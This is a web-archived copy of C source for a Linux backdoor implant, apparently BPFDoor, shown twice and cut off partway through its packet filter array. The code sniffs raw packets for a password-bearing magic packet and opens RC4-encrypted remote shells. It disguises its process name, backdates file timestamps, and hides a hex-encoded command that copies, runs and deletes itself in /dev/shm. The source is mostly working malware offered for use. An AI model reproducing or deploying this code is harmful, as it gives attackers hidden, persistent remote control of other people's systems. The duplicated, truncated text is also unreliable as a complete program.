/* name Linux type linux cve — year — os Linux authors unknown source unknown archived krisyotam (2026) notes — */#include <arpa/inet.h>#include <sys/wait.h>#include <sys/resource.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <signal.h>#include <sys/types.h>#include <sys/stat.h>#include <linux/termios.h>#include <sys/socket.h>#include <netinet/in.h>#include <string.h>#include <fcntl.h>#include <ctype.h>#include <netdb.h>#include <sys/prctl.h>#include <libgen.h>#include <sys/time.h>#include <time.h>#include <linux/types.h>#include <linux/if_ether.h>#include <linux/filter.h>#include <errno.h>#include <strings.h> #ifndef PR_SET_NAME#define PR_SET_NAME 15#endif extern char **environ; #define __SID ('S' << 8)#define I_PUSH (__SID | 2) struct sniff_ip { unsigned char ip_vhl; unsigned char ip_tos; unsigned short int ip_len; unsigned short int ip_id; unsigned short int ip_off; #define IP_RF 0x8000 #define IP_DF 0x4000 #define IP_MF 0x2000 #define IP_OFFMASK 0x1fff unsigned char ip_ttl; unsigned char ip_p; unsigned short int ip_sum; struct in_addr ip_src,ip_dst;};#define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)#define IP_V(ip) (((ip)->ip_vhl) >> 4) typedef unsigned int tcp_seq;struct sniff_tcp { unsigned short int th_sport; unsigned short int th_dport; tcp_seq th_seq; tcp_seq th_ack; unsigned char th_offx2; #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4) unsigned char th_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 #define TH_ECE 0x40 #define TH_CWR 0x80 #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR) unsigned short int th_win; unsigned short int th_sum; unsigned short int th_urp;} __attribute__ ((packed)); struct sniff_udp { uint16_t uh_sport; uint16_t uh_dport; uint16_t uh_ulen; uint16_t uh_sum;} __attribute__ ((packed)); struct magic_packet{ unsigned int flag; in_addr_t ip; unsigned short port; char pass[14];} __attribute__ ((packed)); #ifndef uchar#define uchar unsigned char#endif typedef struct { uchar state[256]; uchar x, y;} rc4_ctx; extern char *ptsname(int);extern int grantpt(int fd);extern int unlockpt(int fd);extern int ioctl (int __fd, unsigned long int __request, ...) __THROW; #define TIOCSCTTY 0x540E#define TIOCGWINSZ 0x5413#define TIOCSWINSZ 0x5414#define ECHAR 0x0b #define BUF 32768 struct config { char stime[4]; char etime[4]; char mask[512]; char pass[14]; char pass2[14];} __attribute__ ((packed)); struct config cfg;int pty, tty;int godpid;char pid_path[50]; int shell(int, char *, char *);void getshell(char *ip, int); char *argv0 = NULL; rc4_ctx crypt_ctx, decrypt_ctx; void xchg(uchar *a, uchar *b){ uchar c = *a; *a = *b; *b = c;} void rc4_init (uchar *key, int len, rc4_ctx *ctx){ uchar index1, index2; uchar *state = ctx->state; uchar i; i = 0; do { state[i] = i; i++; } while (i); ctx->x = ctx->y = 0; index1 = index2 = 0; do { index2 = key[index1] + state[i] + index2; xchg(&state[i], &state[index2]); index1++; if (index1 >= len) index1 = 0; i++; } while (i);} void rc4 (uchar *data, int len, rc4_ctx *ctx){ uchar *state = ctx->state; uchar x = ctx->x; uchar y = ctx->y; int i; for (i = 0; i < len; i++) { uchar xor; x++; y = state[x] + y; xchg(&state[x], &state[y]); xor = state[x] + state[y]; data[i] ^= state[xor]; } ctx->x = x; ctx->y = y;} int cwrite(int fd, void *buf, int count){ uchar *tmp; int ret; if (!count) return 0; tmp = malloc(count); if (!tmp) return 0; memcpy(tmp, buf, count); rc4(tmp, count, &crypt_ctx); ret = write(fd, tmp, count); free(tmp); return ret;} int cread(int fd, void *buf, int count){ int i; if (!count) return 0; i = read(fd, buf, count); if (i > 0) rc4(buf, i, &decrypt_ctx); return i;} static void remove_pid(char *pp){ unlink(pp);} static void setup_time(char *file){ struct timeval tv[2]; tv[0].tv_sec = 1225394236; tv[0].tv_usec = 0; tv[1].tv_sec = 1225394236; tv[1].tv_usec = 0; utimes(file, tv);}static void terminate(void){ if (getpid() == godpid) remove_pid(pid_path); _exit(EXIT_SUCCESS);} static void on_terminate(int signo){ terminate();}static void init_signal(void){ atexit(terminate); signal(SIGTERM, on_terminate); return;} void sig_child(int i){ signal(SIGCHLD, sig_child); waitpid(-1, NULL, WNOHANG);} int ptym_open(char *pts_name){ char *ptr; int fd; strcpy(pts_name,"/dev/ptmx"); if ((fd = open(pts_name,O_RDWR)) < 0) { return -1; } if (grantpt(fd) < 0) { close(fd); return -2; } if (unlockpt(fd) < 0) { close(fd); return -3; } if ((ptr = ptsname(fd)) == NULL) { close(fd); return -4; } strcpy(pts_name,ptr); return fd;} int ptys_open(int fd,char *pts_name){ int fds; if ((fds = open(pts_name,O_RDWR)) < 0) { close(fd); return -5; } if (ioctl(fds,I_PUSH,"ptem") < 0) { return fds; } if (ioctl(fds,I_PUSH,"ldterm") < 0) { return fds; } if (ioctl(fds,I_PUSH,"ttcompat") < 0) { return fds; } return fds;} int open_tty(){ char pts_name[20]; pty = ptym_open(pts_name); tty = ptys_open(pty,pts_name); if (pty >= 0 && tty >=0 ) return 1; return 0;} int try_link(in_addr_t ip, unsigned short port){ struct sockaddr_in serv_addr; int sock; bzero(&serv_addr, sizeof(serv_addr)); serv_addr.sin_addr.s_addr = ip; if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { return -1; } serv_addr.sin_family = AF_INET; serv_addr.sin_port = port; if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr)) == -1 ) { close(sock); return -1; } return sock;} int mon(in_addr_t ip, unsigned short port){ struct sockaddr_in remote; int sock; int s_len; bzero(&remote, sizeof(remote)); if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < -1) { return -1; } remote.sin_family = AF_INET; remote.sin_port = port; remote.sin_addr.s_addr = ip; if ((s_len = sendto(sock, "1", 1, 0, (struct sockaddr *)&remote, sizeof(struct sockaddr))) < 0) { close(sock); return -1; } close(sock); return s_len;} int set_proc_name(int argc, char **argv, char *new){ size_t size = 0; int i; char *raw = NULL; char *last = NULL; argv0 = argv[0]; for (i = 0; environ[i]; i++) size += strlen(environ[i]) + 1; raw = (char *) malloc(size); if (NULL == raw) return -1; for (i = 0; environ[i]; i++) { memcpy(raw, environ[i], strlen(environ[i]) + 1); environ[i] = raw; raw += strlen(environ[i]) + 1; } last = argv[0]; for (i = 0; i < argc; i++) last += strlen(argv[i]) + 1; for (i = 0; environ[i]; i++) last += strlen(environ[i]) + 1; memset(argv0, 0x00, last - argv0); strncpy(argv0, new, last - argv0); prctl(PR_SET_NAME, (unsigned long) new); return 0;}int to_open(char *name, char *tmp){ char cmd[256] = {0}; char fmt[] = { 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d, 0x66, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x70, 0x20, 0x25, 0x73, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x68, 0x6d, 0x6f, 0x64, 0x20, 0x37, 0x35, 0x35, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x2d, 0x2d, 0x69, 0x6e, 0x69, 0x74, 0x20, 0x26, 0x26, 0x20, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d, 0x66, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73, 0x00}; // /bin/rm -f /dev/shm/%s;/bin/cp %s /dev/shm/%s && /bin/chmod 755 /dev/shm/%s && /dev/shm/%s --init && /bin/rm -f /dev/shm/%s snprintf(cmd, sizeof(cmd), fmt, tmp, name, tmp, tmp, tmp, tmp); system(cmd); sleep(2); if (access(pid_path, R_OK) == 0) return 0; return 1;} int logon(const char *hash){ int x = 0; x = memcmp(cfg.pass, hash, strlen(cfg.pass)); if (x == 0) return 0; x = memcmp(cfg.pass2, hash, strlen(cfg.pass2)); if (x == 0) return 1; return 2;} void packet_loop(){ int sock, r_len, pid, scli, size_ip, size_tcp; socklen_t psize; uchar buff[512]; const struct sniff_ip *ip; const struct sniff_tcp *tcp; struct magic_packet *mp; const struct sniff_udp *udp; in_addr_t bip; char *pbuff = NULL; // // Filter Options Build Filter Struct // struct sock_fprog filter; struct sock_filter bpf_code[] = { { 0x28, 0, 0, 0x0000000c }, { 0x15, 0, 27, 0x00000800 }, { 0x30, 0, 0, 0x00000017 }, { 0x15, 0, 5, 0x00000011 }, { 0x28, 0, 0, 0x00000014 }, { 0x45, 23, 0, 0x00001fff }, { 0xb1, 0, 0, 0x0000000e }, { 0x48, 0, 0, 0x00000016 }, { 0x15, 19, 20, 0x00007255 }, { 0x15, 0, 7, 0x00000001 }, { 0x28, 0, 0, 0x00000014 }, { 0x45, 17, 0, 0x00001fff }, { 0xb1, 0, 0, 0x0000000e }, { 0x48, 0, 0, 0x00000016 }, { 0x15, 0, 14, 0x00007255 }, { 0x50, 0, 0, 0x0000000e }, { 0x15, 11, 12, 0x00000008 }, { 0x15, 0, 11, 0x00000006 }, { 0x28, 0, 0, 0x00000014 }, { 0x45, 9, 0, 0x00001fff }, { 0xb1, 0, 0, 0x0000000e }, { 0x50, 0, 0, 0x0000001a }, { 0x54, 0, 0, 0x000000f0 }, { 0x74, 0, 0, 0x00000002 }, { 0xc, 0, 0, 0x00000000 }, { 0x7, 0, 0, 0x00000000 }, { 0x48, 0, 0, 0x0000000e },Lines 1–500 of 911. Load more
/* name Linux type linux cve — year — os Linux authors unknown source unknown archived krisyotam (2026) notes — */ #include <arpa/inet.h> #include <sys/wait.h> #include <sys/resource.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <sys/types.h> #include <sys/stat.h> #include <linux/termios.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> #include <fcntl.h> #include <ctype.h> #include <netdb.h> #include <sys/prctl.h> #include <libgen.h> #include <sys/time.h> #include <time.h> #include <linux/types.h> #include <linux/if_ether.h> #include <linux/filter.h> #include <errno.h> #include <strings.h> #ifndef PR_SET_NAME #define PR_SET_NAME 15 #endif extern char **environ; #define __SID ('S' << 8) #define I_PUSH (__SID | 2) struct sniff_ip { unsigned char ip_vhl; unsigned char ip_tos; unsigned short int ip_len; unsigned short int ip_id; unsigned short int ip_off; #define IP_RF 0x8000 #define IP_DF 0x4000 #define IP_MF 0x2000 #define IP_OFFMASK 0x1fff unsigned char ip_ttl; unsigned char ip_p; unsigned short int ip_sum; struct in_addr ip_src,ip_dst; }; #define IP_HL(ip) (((ip)->ip_vhl) & 0x0f) #define IP_V(ip) (((ip)->ip_vhl) >> 4) typedef unsigned int tcp_seq; struct sniff_tcp { unsigned short int th_sport; unsigned short int th_dport; tcp_seq th_seq; tcp_seq th_ack; unsigned char th_offx2; #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4) unsigned char th_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 #define TH_ECE 0x40 #define TH_CWR 0x80 #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR) unsigned short int th_win; unsigned short int th_sum; unsigned short int th_urp; } __attribute__ ((packed)); struct sniff_udp { uint16_t uh_sport; uint16_t uh_dport; uint16_t uh_ulen; uint16_t uh_sum; } __attribute__ ((packed)); struct magic_packet{ unsigned int flag; in_addr_t ip; unsigned short port; char pass[14]; } __attribute__ ((packed)); #ifndef uchar #define uchar unsigned char #endif typedef struct { uchar state[256]; uchar x, y; } rc4_ctx; extern char *ptsname(int); extern int grantpt(int fd); extern int unlockpt(int fd); extern int ioctl (int __fd, unsigned long int __request, ...) __THROW; #define TIOCSCTTY 0x540E #define TIOCGWINSZ 0x5413 #define TIOCSWINSZ 0x5414 #define ECHAR 0x0b #define BUF 32768 struct config { char stime[4]; char etime[4]; char mask[512]; char pass[14]; char pass2[14]; } __attribute__ ((packed)); struct config cfg; int pty, tty; int godpid; char pid_path[50]; int shell(int, char *, char *); void getshell(char *ip, int); char *argv0 = NULL; rc4_ctx crypt_ctx, decrypt_ctx; void xchg(uchar *a, uchar *b) { uchar c = *a; *a = *b; *b = c; } void rc4_init (uchar *key, int len, rc4_ctx *ctx) { uchar index1, index2; uchar *state = ctx->state; uchar i; i = 0; do { state[i] = i; i++; } while (i); ctx->x = ctx->y = 0; index1 = index2 = 0; do { index2 = key[index1] + state[i] + index2; xchg(&state[i], &state[index2]); index1++; if (index1 >= len) index1 = 0; i++; } while (i); } void rc4 (uchar *data, int len, rc4_ctx *ctx) { uchar *state = ctx->state; uchar x = ctx->x; uchar y = ctx->y; int i; for (i = 0; i < len; i++) { uchar xor; x++; y = state[x] + y; xchg(&state[x], &state[y]); xor = state[x] + state[y]; data[i] ^= state[xor]; } ctx->x = x; ctx->y = y; } int cwrite(int fd, void *buf, int count) { uchar *tmp; int ret; if (!count) return 0; tmp = malloc(count); if (!tmp) return 0; memcpy(tmp, buf, count); rc4(tmp, count, &crypt_ctx); ret = write(fd, tmp, count); free(tmp); return ret; } int cread(int fd, void *buf, int count) { int i; if (!count) return 0; i = read(fd, buf, count); if (i > 0) rc4(buf, i, &decrypt_ctx); return i; } static void remove_pid(char *pp) { unlink(pp); } static void setup_time(char *file) { struct timeval tv[2]; tv[0].tv_sec = 1225394236; tv[0].tv_usec = 0; tv[1].tv_sec = 1225394236; tv[1].tv_usec = 0; utimes(file, tv); } static void terminate(void) { if (getpid() == godpid) remove_pid(pid_path); _exit(EXIT_SUCCESS); } static void on_terminate(int signo) { terminate(); } static void init_signal(void) { atexit(terminate); signal(SIGTERM, on_terminate); return; } void sig_child(int i) { signal(SIGCHLD, sig_child); waitpid(-1, NULL, WNOHANG); } int ptym_open(char *pts_name) { char *ptr; int fd; strcpy(pts_name,"/dev/ptmx"); if ((fd = open(pts_name,O_RDWR)) < 0) { return -1; } if (grantpt(fd) < 0) { close(fd); return -2; } if (unlockpt(fd) < 0) { close(fd); return -3; } if ((ptr = ptsname(fd)) == NULL) { close(fd); return -4; } strcpy(pts_name,ptr); return fd; } int ptys_open(int fd,char *pts_name) { int fds; if ((fds = open(pts_name,O_RDWR)) < 0) { close(fd); return -5; } if (ioctl(fds,I_PUSH,"ptem") < 0) { return fds; } if (ioctl(fds,I_PUSH,"ldterm") < 0) { return fds; } if (ioctl(fds,I_PUSH,"ttcompat") < 0) { return fds; } return fds; } int open_tty() { char pts_name[20]; pty = ptym_open(pts_name); tty = ptys_open(pty,pts_name); if (pty >= 0 && tty >=0 ) return 1; return 0; } int try_link(in_addr_t ip, unsigned short port) { struct sockaddr_in serv_addr; int sock; bzero(&serv_addr, sizeof(serv_addr)); serv_addr.sin_addr.s_addr = ip; if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { return -1; } serv_addr.sin_family = AF_INET; serv_addr.sin_port = port; if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr)) == -1 ) { close(sock); return -1; } return sock; } int mon(in_addr_t ip, unsigned short port) { struct sockaddr_in remote; int sock; int s_len; bzero(&remote, sizeof(remote)); if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < -1) { return -1; } remote.sin_family = AF_INET; remote.sin_port = port; remote.sin_addr.s_addr = ip; if ((s_len = sendto(sock, "1", 1, 0, (struct sockaddr *)&remote, sizeof(struct sockaddr))) < 0) { close(sock); return -1; } close(sock); return s_len; } int set_proc_name(int argc, char **argv, char *new) { size_t size = 0; int i; char *raw = NULL; char *last = NULL; argv0 = argv[0]; for (i = 0; environ[i]; i++) size += strlen(environ[i]) + 1; raw = (char *) malloc(size); if (NULL == raw) return -1; for (i = 0; environ[i]; i++) { memcpy(raw, environ[i], strlen(environ[i]) + 1); environ[i] = raw; raw += strlen(environ[i]) + 1; } last = argv[0]; for (i = 0; i < argc; i++) last += strlen(argv[i]) + 1; for (i = 0; environ[i]; i++) last += strlen(environ[i]) + 1; memset(argv0, 0x00, last - argv0); strncpy(argv0, new, last - argv0); prctl(PR_SET_NAME, (unsigned long) new); return 0; } int to_open(char *name, char *tmp) { char cmd[256] = {0}; char fmt[] = { 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d, 0x66, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x70, 0x20, 0x25, 0x73, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x68, 0x6d, 0x6f, 0x64, 0x20, 0x37, 0x35, 0x35, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x2d, 0x2d, 0x69, 0x6e, 0x69, 0x74, 0x20, 0x26, 0x26, 0x20, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d, 0x66, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73, 0x00}; // /bin/rm -f /dev/shm/%s;/bin/cp %s /dev/shm/%s && /bin/chmod 755 /dev/shm/%s && /dev/shm/%s --init && /bin/rm -f /dev/shm/%s snprintf(cmd, sizeof(cmd), fmt, tmp, name, tmp, tmp, tmp, tmp); system(cmd); sleep(2); if (access(pid_path, R_OK) == 0) return 0; return 1; } int logon(const char *hash) { int x = 0; x = memcmp(cfg.pass, hash, strlen(cfg.pass)); if (x == 0) return 0; x = memcmp(cfg.pass2, hash, strlen(cfg.pass2)); if (x == 0) return 1; return 2; } void packet_loop() { int sock, r_len, pid, scli, size_ip, size_tcp; socklen_t psize; uchar buff[512]; const struct sniff_ip *ip; const struct sniff_tcp *tcp; struct magic_packet *mp; const struct sniff_udp *udp; in_addr_t bip; char *pbuff = NULL; // // Filter Options Build Filter Struct // struct sock_fprog filter; struct sock_filter bpf_code[] = { { 0x28, 0, 0, 0x0000000c }, { 0x15, 0, 27, 0x00000800 }, { 0x30, 0, 0, 0x00000017 }, { 0x15, 0, 5, 0x00000011 }, { 0x28, 0, 0, 0x00000014 }, { 0x45, 23, 0, 0x00001fff }, { 0xb1, 0, 0, 0x0000000e }, { 0x48, 0, 0, 0x00000016 }, { 0x15, 19, 20, 0x00007255 }, { 0x15, 0, 7, 0x00000001 }, { 0x28, 0, 0, 0x00000014 }, { 0x45, 17, 0, 0x00001fff }, { 0xb1, 0, 0, 0x0000000e }, { 0x48, 0, 0, 0x00000016 }, { 0x15, 0, 14, 0x00007255 }, { 0x50, 0, 0, 0x0000000e }, { 0x15, 11, 12, 0x00000008 }, { 0x15, 0, 11, 0x00000006 }, { 0x28, 0, 0, 0x00000014 }, { 0x45, 9, 0, 0x00001fff }, { 0xb1, 0, 0, 0x0000000e }, { 0x50, 0, 0, 0x0000001a }, { 0x54, 0, 0, 0x000000f0 }, { 0x74, 0, 0, 0x00000002 }, { 0xc, 0, 0, 0x00000000 }, { 0x7, 0, 0, 0x00000000 }, { 0x48, 0, 0, 0x0000000e },